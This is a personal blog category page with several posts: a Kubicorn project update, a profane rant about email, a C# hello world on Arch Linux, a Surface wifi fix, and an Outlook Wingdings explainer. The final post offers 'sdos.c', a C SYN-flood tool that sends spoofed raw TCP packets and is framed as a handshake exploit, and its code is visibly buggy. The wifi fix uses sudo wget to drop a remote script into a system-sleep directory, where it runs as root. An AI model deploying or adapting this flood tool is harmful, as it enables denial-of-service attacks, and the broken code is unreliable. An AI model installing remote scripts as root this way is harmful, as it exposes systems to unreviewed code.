Category: Unix

Okay – wow – it’s been a long time since I have blogged here…

 

❤️ Hi everyone! I missed you! ❤️

 

 

So due to some unforeseen circumstance in the past ~year or so… I was unable to continue contributing to my pride and joy Kubicorn! It’s been a real bummer, but I am glad to say that those days are officially behind me!

 

The good news? I am back! And we are working hard on making kubicorn even more amazing!

 

So without further delay, let’s start looking into what I wanted to update everyone about kubicorn.

 

 

 

 

What is kubicorn?

Kubicorn is a Kubernetes infrastructure management tool!

kubicorn attempts to solve managing kubernetes based infrastructure in a cloud native way. The project is supported by the Cloud Native Computing Foundation (CNCF)  and attempts to offer a few things unique to cloud native infrastructure:

  1. Modular components
  2. Vendorable library in Go
  3. A guarantee-less framework that is flexible and scalable
  4. A solid way to bootstrap and manage your infrastructure
  5. Software to manage infrastructure

 

These patterns are fundamental to understanding cloud native technologies, and (in my opinion) are the future of infrastructure management!

How do I know this? I literally wrote the book on it

TLDR; It’s a badass command line tool that goes from 0to kubernetes in just a few moments.

 

What’s new in kubicorn?

We have officially adopted the Kubernetes cluster API

The cluster API is an official working group in the Kubernetes community.

The pattern dictates that while bootstrapping a cluster, kubicorn will first create the Kubernetes control plane.

Then kubicorn will define the control plane itself, as well as the machines that will serve as the nodes (workhorses) of the Kubernetes cluster.

Finally, kubicornwill install a controller that will realize the machines defined in the previous step.

This allows for arbitrary clients to adjust the machine definition, without having to care how kubicorn will autoscale their cluster.

 

Autoscaling infrastructure, the kubernetes way!

So this is an official working group of Kubernetes, and more information can be found here!

We are currently working on building out this framework, and if you think it is a good idea (like we do) feel free to get involved.

We have a dope website

kubicorn.io

So many thanks to Ellen for her hard work in building out our fabulous site. If you would like to contribute please let us know!

We have moved to our own GitHub organization

Despite my attempts to keep the project as one of my pets, it’s just gotten too big. It has now moved to it’s own organization. We would love for YOU to get involved. Just open up an issue or contact Kris Nova if you would like to join.

We are just now starting on the controller

Writing the infrastructure controller is probably the most exciting thing to happen to the project yet.

We literally JUST started the repository. Get in now, while the getting is good!

We need help with the Dockerfile, with the idea behind the controller, and even with the code to make it so. If you wan’t to get involved, now is your chance!

We want your help

Seriously.

Our lead maintainer Marko started out as someone on the internet just like you. He is now a super admin of the project, and is a rock star at keeping up with the day-to-day work of kubicorn.

We would love to help you become a cloud native badass if you would like to contribute. Please join the slack channel and start talking to us.

 

 

 

 

 

 

 

 

And of course as always…

 

Let me know what you think in the comments below!

The SMTP protocol originated in 1982.

According to Wikipedia most large email providers have proprietary protocols for exchanging data, all of them use SMTP while delivering outside the scope of their know protocol.

I have put together a list of truths about email to bring to lite how utterly rude and lazy it is to send another human an email and have an expectation that they take your request sincerely.

 

Emails are idempotent

Ever tpoy in an email beofre?

I certainly have. Most communication standards today allow for updates to messages. Facebook, slack, Instagram, YouTube and many others all have an edit button next to your message.

In fact, there is a company called Twitter that explicitly does NOT allow editing of a message. This is controversial but is ultimately part of what makes Twitter so trustworthy.

There is a reasonable expectation that if a user is using Twitter, that they accept the fact that their messages are idempotent.

Why in the hell do we think it’s a good idea to send idempotent messages to other humans to organize our thoughts? Organizing thoughts is notoriously hard and complicated, and it would be great if we had the ability to edit a thought after having it.

Guess what? Humans change their minds some times. 

Imagine a text editor that didn’t let you use the backspace key.

There is a reason we no longer have typewriters…

Reasons for sending email

I would say 99% of the emails I receive fit into one of the following categories.

  1. Dead end content
  2. Convenience
  3. Request for action
  4. Scheduling

And if you think about it:

2 is really just an extension of 1 and 4 is really just an extension of 3

So to break it down even more granularly, here are really the 2 categories of email a person might receive

  1. Dead end content
  2. Request for action

Every email I have ever received in my life is genuinely in one of these two buckets.

Dead end content

This is content that does not require action on your end. Usually it is sent as a convenience, FYI, or just to help me sender feel better.

Ever get an email that just says thanks?

Ever get an email where the subject contains FYI?

There are so many reference emails that could hit your inbox that it takes large amounts of conscious effort to cipher through the noise. If you send these you should punch yourself in the face.

Imagine buying a book that was packaged like your inbox and instead of having chapters and a table of contents was just a pile of pages without any order. It would be hard to read the book, and would require a lot of effort just to abstract the story from the pages.

Furthermore what if some of the pages had requests for you to do something on them? And if you didn’t comply with the requests you would lose your job. Literally this is my inbox.

If you have something to say that does not require input or action from me it belongs on a web site, and not in my inbox. 

Request for action

This is probably the worst part of email. Humans actually do this, and I can’t understand why anyone thinks this is a rational thing to do.

Humans literally hide requests for action behind text blobs.

Hi Kris,

I was wondering if I could ask you a few questions?

I was wondering if I could talk to you about my company BoringCorp. We are a successful startup from Silicon Valley and are on series F funding. Today is our 3 month anniversary in business. We were wondering if you would be interested in attending our inaugural company ball as a guest of honor? It would be an honor to have. I hope you are well.

Regards,

J

 

There is a large block of text above, but let me break it down what just happened.

  1. The sender sent a message with an expectation that I will respond to their request for attending their company ball.
  2.  The sender did not provide all the information I would need to correctly respond to their request.
  3. The sender has implied that the event is important to them, so I should treat the request also as important.
  4. The sender sent a lot of information, and most of it isn’t relevant to the request.
  5. The sender’s name probably starts with J.

So now not only do I have to invest time into deriving the request for action from the email, but the sender has burdened me with guilt if I do not comply with their request. Thanks.

In the year 2017 we have an entire industry built around best ways to organize thoughts and ideas. We have large agile platforms like Jira, Asana, and Trello that help user’s organize tasks. In fact, in most cases there is a reasonable expectation that you won’t even be able to generate work without minimal criteria.

Imagine a request for action that contained information like when, and where, and how to define success? Imagine if a user couldn’t even request action from you if it wasn’t delivered in a way that was meaningful to the person you are requesting action from? This is a reasonable expectation for other parts of the internet, but email just seems like forgive people for acting like complete asshats and requesting action via text blob.

Imagine a restaurant that didn’t serve you a meal but rather gave you a huge blob of junk with your food buried somewhere in the pile of junk. That would be crazy. That restaurant clearly would not be successful if compared to restaurants that spend time and effort preparing a lovely meal for you.

Because packaging is important. And email encourages users to NOT package well; because the interface for sending an email is just a giant text field just waiting to be filled with complete garbage instead of small discreet text fields that represent minimal criteria for the person requesting action.

Emails come with implications

hi,

are u coming?

J

This is a completely normal email for me to receive, and that is completely unreasonable.

Here is what just happened

  1. J has covered their ass

That’s it. Now if anything goes wrong it’s my fault because “Well I sent her an email about it…”

But I don’t even need to explain all the things wrong with this message. It’s just completely bullshit content. There is nothing concrete here, and J seems to think I can just imply information like

  • What would I be coming to?
  • Where is this place at?
  • When do I need to be at this place?
  • Is this meeting important to you, or important to me? Neither? Both?
  • Do I need to bring anything to the meeting?
  • Is this even a meeting?

Implying is bad, and usually humans get it wrong. Period.

As it turns out, J was asking if I would be coming to the meeting he scheduled via text blob. It is important to him that I come to his text blob meeting.

Meanwhile I am too busy getting shit done to deal with deciphering text blobs all day.

Emails are lazy

So it’s easy to just dump into a text field. Anyone can do it, and it doesn’t require much thought.

Furthermore the act of sending an email is relatively safe, because the other person doesn’t have to respond immediately.

So sending an email is a way for a human to send some message, without having to concern themselves about how it was packaged.

Imagine if communication worked this way. Where you would just walk into a room and say whatever in the hell you wanted, and walked out with the expectation that whoever your message was intended for will receive and respond to your message.

If you send emails, you are lazy. 

If you want me to take action, we first need to have a discussion about how we will work with action requests moving forward. After we come up with a way for us to work together, we can begin to create viable action items.

If this sounds like too much work, consider how much time you spend deciphering bullshit from your inbox each day. I personally would be willing to trade time from me figuring out your bullshit, to you figuring out your own bullshit.

Be awesome.

Figure your bullshit out first, so I don’t have to.

 

Email clients are different.

Ever see an email that looks like this?

 

kris?

>

>

> >

> > >

> > > >

> > > > >

> > > > hi,

> > > > are you coming?

> > > >

> > > > J

Because my inbox is full of them.

It seems that ever piece of software in the world respects the golden rule except email clients.

It’s never okay to mutate data that is not yours

Email clients fucking love to mutate your data. We are gonna add colors, and characters, and tabs and spaces. We are gonna insert wingdings into your email. You name it, we are gonna do it.

So not only do I receive messages with vague text blobs that require effort on my end to understand, but chances are it’s not even the original bullshit text blob you sent anyway.

 

In conclusion

We need to figure out ways for humans to perform creating dead end content and requesting action that doesn’t involve email.

In the mean time, can you please for fucks sake be considerate of your messages to me?

I get upwards of 5 thousand messages a day, and the least you could do is spend a few seconds and make your message to me easily digestible.

And remember, if it’s dead end content then put it on Facebook, or Twitter. If I like it I will give you a 👍. But there is no reason to bundle that in with my other messages that may or may not be needing something from me.

 

 

 

10 Rules for writing an email that doesn’t suck

 

1. Start off the email by apologizing for using email.

Just get it out of the way, and admit you know what you are doing is evil. But please keep it short and sweet

Hi $name, sorry for sending you an email but $content?

 

2. Respect the subject

The subject of an email is an important as naming a function. It should be descriptive enough to explain what the email is about, and still let a reader know what to expect within the content of the email.

Furthermore, you should clearly define if your email is a request for action, or dead end content.

 

 

3. No more than 1 reply. Ever.

The rule is simple, it is only okay for one person to reply to any email once before the email is locked and nobody else can reply. If you feel like you need to send another message, draft a new email with a new meaningful subject.

 

4. Do one thing and do it well.

Yep. I Unix philosophy‘d you. Emails are only allowed to do one thing. If you combine multiple requests for action, or multiple sets of content in your email you are doing it wrong.

5. You get one sentence, use it wisely.

A complete sentence is used to express a complete thought. A single complete thought. Which means your email should never be longer than 1 sentence. If you are good, you can even combine that with your apology for using email.

Hi Kris, and I am so sorry for sending you an email, but I was wondering if you could attend our company ball [URL to more information about ball]?

 

6. End your sentence with proper punctuation.

Always make sure to use proper punctuation at the end of your sentence. In the case your email ends with a period . you should copy/paste the email into a Tweet or Facebook post and not send the email.

In the case your email ends with a question mark ? you should re-read your email to make sure it’s well crafted and check your subject to make sure it’s meaningful. Then you may press send.

7. No forwarding

Thats the rule, never forward email. If you forward email you are doing it wrong. You can copy/paste email content from one email to your personal blog. Then you can reference that blog from the next email you need to send.

8. No more than one recipient

If you send an email to more than one person, or ever hit reply all you should punch yourself in the face. If you expect each person you are sending a message to to respond to your message you need to demonstrate that you are willing to spend that much time on them. They get a personal email, or no deal.

9. Your signature must be smaller than 100 bytes

For your signature you get 3 choices

  1. Full legal name
  2. Preferred name
  3. Notable online handle

Your signature should never be more than 100 bytes.

10. No attachments

Ever. Never is it okay to attach anything to an email. You have two options for including media in your email:

  1. You may reference the media’s public URL
  2. You can opt out of using media.

So I am working on a Go speech today, and I got to a slide where I wanted to mention the C# programming language. Or more importantly, I wanted to mention how some internal teams at Microsoft are switching over from C# to Go!

The only problem with this slide is that I am supposed to be somewhat credible in what I say..

and I have never written a line of C# in my life.

Furthermore I run linux as my primary operating system. So of course I decided it would be a good idea to try to get a C# development environment up and and running on Archlinux. After a total of 10 seconds of searching Google I couldn’t find the step-by-step tutorial I wanted so naturally I am creating one.

So here goes…

 

Install VS Code

C# isn’t scary at all!

Download page for Linux

Tarball for Linux

Okay so you don’t need VS code, but the C# plugin is really legit. It feels like any other programming language!

But feel free to use any text editor you like. We are just going to be banging out a quick and dirty hello world.

If you plan on writing copious amounts of C# I strongly suggest you get VS code. It’s free and works fantastically on Linux.

Install Mono

(Seriously this is all you do)


sudo pacman -S mono

Write your hello world program

Create a new file called HelloWorld.cs anywhere on your file system.

HelloWorld.cs

// A Hello World! program in C#.
using System;
namespace HelloWorld
{
    class Hello 
    {
        static void Main() 
        {
            Console.WriteLine("Hello World!");

            // Keep the console window open in debug mode.
            Console.WriteLine("Press any key to exit.");
            Console.ReadKey();
        }
    }
}

Thanks to the official Microsoft docs for the code snippet!

Compile

The mono mcs compiler works very similar to gcc and accepts an -out flag to specify the name of the executable.


mcs -out:helloexe HelloWorld.cs

Run

Then you can run your program!


mono hello.exe

What’s next?

I am going to do some benchmarking with C# and Go and explore some concurrency patterns between the two. Stay tuned for my findings!

So as I continue to find workarounds and fixes for running Archlinux on my Microsoft Surface Book I will post them..

Here is a great quick and dirty fix for the wifi issue.

Problem

After closing your Surface Pro, or sending your computer into a state of hibernation or suspension the WiFi agent quits working.

Solution

Found a handy dandy script that totally fixes the problem.


sudo wget -P /usr/lib/systemd/system-sleep nivenly.com/surface-hib.sh

 

 

So a good friend of mine recently posted something on Twitter…screen-shot-2017-06-06-at-18-42-15

So I decided to crank out a quick write up on the matter. It’s something that also bothered me for the longest time, and a few years ago when I was hired into a job that enforced using Outlook clients I finally got to the bottom of it!

Also I work at Microsoft, so I had the best testing ground in the world. I just set an email to a non-outlook email address from my work account. Let’s take a look and see what happened.

From office 365
screen-shot-2017-06-06-at-18-30-50

So that actually worked out as expected!

It looks like the new Office 365 web client is on point and doing great.  Good job everyone!

Heck, even the smiley face is the proper emoticon code 😊 (😁)

For clarity I went ahead and pulled to raw message, and ran a quick base64 decode on it to get the following outputs.

raw

<html>

<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <style type="text/css" style="display:none;">
        <!-- P {
            margin-top: 0;
            margin-bottom: 0;
        }
        
        -->
    </style>
</head>

<body dir="ltr">
    <div id="divtagdefaultwrapper" style="font-size:12pt;color:#000000;font-family:Calibri,Helvetica,sans-serif;" dir="ltr">
        <p>Hi everyone!</p>
        <p>
            <br>
        </p>
        <p>Just sending a quick testing email <span>😊</span></p>
        <p><span><br>
</span></p>
        <p>
            <br>
        </p>
    </div>
</body>

</html>

But I know there are sinister email’s still lurking around the internet somewhere. Let’s dive deeper..

From Outlook

screenshot2017-06-06at18-56-35I found an email in my archives when I tested this theory years ago. My only computer that runs the Outlook client is actually at the office, and I am lazy.

Regardless, this sample is really what we are looking for!

Here we can see that the HTML in the email does something fairly concerning. We didn’t get valid HTML. The email used a pseudo HTML markdown that was designed for word-processing style sheets, and does not adhere to the ISO/IEC 15445 standard for HTML!

The markdown actually references some font logic that is defined as an HTML comment, as well as referencing a proprietary font!

Hence why the font definitions aren’t being interpreted, and the user is left with an unfriendly looking email to read. Below is the decoded base64 content.

raw

<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:w="urn:schemas-microsoft-com:office:word" xmlns:m="http://schemas.microsoft.com/office/2004/12/omml" xmlns="http://www.w3.org/TR/REC-html40">

<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <meta name="Title" content="">
    <meta name="Keywords" content="">
    <meta name="Generator" content="Microsoft Word 15 (filtered medium)">
    <style>
        <!--
        /* Font Definitions */
        
        @font-face {
            font-family: Wingdings;
            panose-1: 5 0 0 0 0 0 0 0 0 0;
        }
        
        @font-face {
            font-family: "Cambria Math";
            panose-1: 2 4 5 3 5 4 6 3 2 4;
        }
        
        @font-face {
            font-family: Calibri;
            panose-1: 2 15 5 2 2 2 4 3 2 4;
        }
        /* Style Definitions */
        
        p.MsoNormal,
        li.MsoNormal,
        div.MsoNormal {
            margin: 0in;
            margin-bottom: .0001pt;
            font-size: 12.0pt;
            font-family: Calibri;
        }
        
        a:link,
        span.MsoHyperlink {
            mso-style-priority: 99;
            color: #0563C1;
            text-decoration: underline;
        }
        
        a:visited,
        span.MsoHyperlinkFollowed {
            mso-style-priority: 99;
            color: #954F72;
            text-decoration: underline;
        }
        
        span.EmailStyle17 {
            mso-style-type: personal-compose;
            font-family: Calibri;
            color: windowtext;
        }
        
        span.msoIns {
            mso-style-type: export-only;
            mso-style-name: "";
            text-decoration: underline;
            color: teal;
        }
        
        .MsoChpDefault {
            mso-style-type: export-only;
            font-family: Calibri;
        }
        
        @page WordSection1 {
            size: 8.5in 11.0in;
            margin: 1.0in 1.0in 1.0in 1.0in;
        }
        
        div.WordSection1 {
            page: WordSection1;
        }
        
        -->
    </style>
</head>

<body bgcolor="white" lang="EN-US" link="#0563C1" vlink="#954F72">
    <div class="WordSection1">
        <p class="MsoNormal"><span style="font-size:11.0pt">Hey this is a test! </span><span style="font-size:11.0pt;font-family:Wingdings">J</span><span style="font-size:11.0pt">
<o:p></o:p></span></p>
        <p class="MsoNormal"><span style="font-size:11.0pt"><o:p>&nbsp;</o:p></span></p>
    </div>
</body>

</html>

The infamous capital j

If you have ever wondered why you see erroneous j‘s floating around in emails, the unencoded sample from above can answer that as well.

When a user (in the older Outlook tools) types :) the program will actually replace the smiley face with J instead of 😊.

The source clearly shows that the smiley face being sent is encoded in the Wingdings font!

<span style="font-size:11.0pt;font-family:Wingdings">J</span>

Wingdings is available for purchase here at microsoft.com/typography/fonts if you want to run it on your server to decode the J‘s properly.

tldr;

Older outlook clients used to do some wonky things with mime encoding and pseudo HTML formatting that conflicted with ISO/IEC 15445

Most clients probably don’t support the non-standard encoding (well).  So it’s another case of not adhering to standard to do things a proprietary way.

So in theory, Outlook has been using emoticons since before emoticons were cool. NO BIG DEAL!

Glad to know it’s working as expected now, and that we should see the problem disappear over time. So much ❤ for the engineers who helped fix this! jjj

I have worked on exploiting a TCP handshake vulnerability using native FreeBSD C libraries.

The original project can be found here.

/*
 * ============================================================================
 *
 * (c)2002-2014. Kris Nova. All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 *
 *=============================================================================
 *
 * sdos.c
 *
 * Tested and compiled on FreeBSD 10+
 *
 * A simple C script to attempt to flood a server with SYN requests in the
 * hopes of determining the threshold for availability.
 *
 * This is an isolated penetration test that will send requests via a unique
 * thread.
 *=============================================================================
 */

/* Includes */
#include <stdlib.h>
#include <stdio.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <netinet/ip.h>
#include <string.h>
#include <sys/socket.h>
#include <errno.h>
#include <arpa/inet.h>
#include <time.h>

/* Interface */
int main(int argc, char *argv[]);
unsigned short csum(unsigned short *ptr, int nbytes);
void usage();
int flood();
char* randIp();

/**
 * configuration
 *
 * The basic information for defining where we will send the pen request
 */
struct configuration
{
	char *ip;
	char *message;
	int port;
	int verbose;
};

/**
 * main
 *
 * Handles argument parsing and building the configuration struct
 *
 * int argc The total amount of arguments passed
 * char *argv[] Array of arguments space dilimited
 */
int main(int argc, char *argv[])
{
	//Set defaults
	struct configuration cfg;
	cfg.ip = "127.0.0.1";
	cfg.port = 1234;
	cfg.message = "...";
	cfg.verbose = 0;

	//Define
	unsigned int seed;
	unsigned int ii;

	// Invalid command, display usage
	int i;
	if (argc <= 2)
	{
		usage();
		exit(0);
	}

	// Parse arguments
	for (i = 0; i < argc; i++)
	{
		if (argv[i][0] == '-')
		{
			switch (argv[i][1])
			{
			case 'v':
				//Verbose
				cfg.verbose = 1;
				break;
			case 'h':
				//Host
				cfg.ip = argv[i + 1];
				break;
			case 'p':
				//Port
				cfg.port = atoi(argv[i + 1]);
				break;
			case 'm':
				//Message
				cfg.message = argv[i + 1];
				break;
			}
		}
	}
	//Call flood with our configuration
	seed = time(NULL);
	ii = 0;
	while (flood(cfg))
	{
		seed++;
		ii++;
		srand(seed);
		printf("Iterations: %i\n", ii);
	}
	//Fin
	return 1;
}

/**
 * csum
 *
 * Used to calculate the checksum
 */
unsigned short csum(unsigned short *ptr, int nbytes)
{
	register long sum;
	unsigned short oddbyte;
	register short answer;
	sum = 0;
	while (nbytes > 1)
	{
		sum += *ptr++;
		nbytes -= 2;
	}
	if (nbytes == 1)
	{
		oddbyte = 0;
		*((u_char*) &oddbyte) = *(u_char*) ptr;
		sum += oddbyte;
	}
	sum = (sum >> 16) + (sum & 0xffff);
	sum = sum + (sum >> 16);
	answer = (short) ~sum;
	return (answer);
}

/**
 * flood
 *
 * The main function for the test
 * Handles sending the packets to the server in test
 */
int flood(struct configuration *cfg)
{
	//Create a raw socket
	int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
	//Datagram to represent the packet
	char datagram[4096], source_ip[32];
	//IP header
	struct ip *iph = (struct ip *) datagram;
	//TCP header
	struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof(struct ip));
	//Socket
	struct sockaddr_in sin;
	//Spoof struct (for calculation the checksum)
	struct ippseudo ipps;

	sin.sin_family = AF_INET;
	sin.sin_port = htons(80);
	//TODO random IP
	sin.sin_addr.s_addr = inet_addr(randIp());

	//Zero out the buffer
	memset(datagram, 0, 4096);

	//IP header
	iph->ip_hl = 5;
	iph->ip_v = 4;
	iph->ip_tos = 0;
	iph->ip_len = sizeof(struct ip) + sizeof(struct tcphdr);
	iph->ip_id = htons(54321);
	iph->ip_off = 0;
	iph->ip_ttl = 255;
	iph->ip_p = IPPROTO_TCP;
	iph->ip_sum = 0;
	struct in_addr ipsrc;
	ipsrc.s_addr = inet_addr(source_ip);
	iph->ip_src = ipsrc;
	struct in_addr ipdst;
	ipdst.s_addr = sin.sin_addr.s_addr;
	iph->ip_dst = ipdst;
	iph->ip_sum = csum((unsigned short *) datagram, iph->ip_len >> 1);

	//TCP Header
	tcph->th_sport = htons(1234);
	tcph->th_dport = htons(80);
	tcph->th_seq = 0;
	tcph->th_ack = 0;
	//First and only TCP segment
	tcph->th_off = 5;
	tcph->th_flags = 00000010;
	//Max window size
	tcph->th_win = htons(5840);
	//The kernel will handle calculation this
	tcph->th_sum = 0;
	tcph->th_urp = 0;

	//Spoof struct
	struct in_addr spfsrc;
	spfsrc.s_addr = inet_addr(source_ip);
	ipps.ippseudo_src = spfsrc;
	struct in_addr spfdst;
	spfdst.s_addr = sin.sin_addr.s_addr;
	ipps.ippseudo_dst = spfdst;
	ipps.ippseudo_pad = 0;
	ipps.ippseudo_p = IPPROTO_TCP;
	ipps.ippseudo_len = htons(20);

	//Calculate checksum for the TCP header
	tcph->th_sum = csum((unsigned short*) &ipps, sizeof(struct ippseudo));

	//IP_HDRINCL to tell the kernel that headers are included in the packet
	int one = 1;
	const int *val = &one;
	if (setsockopt(s, IPPROTO_IP, PF_INET, val, sizeof(one)) < 0)
	{
		printf("Error setting IP_HDRINCL. "
				"Error number : %d . "
				"Error message : %s \n",
		errno, strerror(errno));
		exit(0);
	}

	//Send the packet
	if (sendto(s, /* our socket */
	datagram, /* the buffer containing headers and data */
	iph->ip_len, /* total length of our datagram */
	0, /* routing flags, normally always 0 */
	(struct sockaddr *) &sin, /* socket addr, just like in */
	sizeof(sin)) < 0) /* a normal send() */
	{
		printf("Packet transmission failed!\n");
		return 1;
	}
	//Data send successfully
	else
	{
		printf("Packet transmission success!\n");
		return 1;
	}
}

/**
 * randIp
 *
 * Will generate a random IP address to spoof the packet with
 */
char* randIp()
{
	char *ip;
	sprintf(ip,
			"%d.%d.%d.%d",
			rand() & 126,
			rand() & 255,
			rand() & 255,
			rand() & 255);
	printf("Random IP: %s\n", ip);
	return ip;
}

/**
 * usage
 *
 * How do we run this thing
 */
void usage()
{
	printf("./sdos <options>\n");
	printf("\n");
	printf("v     Verbose - Enables verbosity\n");
	printf("h     Host    - IP of host to connect to\n");
	printf("p     Port    - The numerical port to connect on\n");
	printf("m     Message - Optional message to send to the server\n");
	printf("\n");

}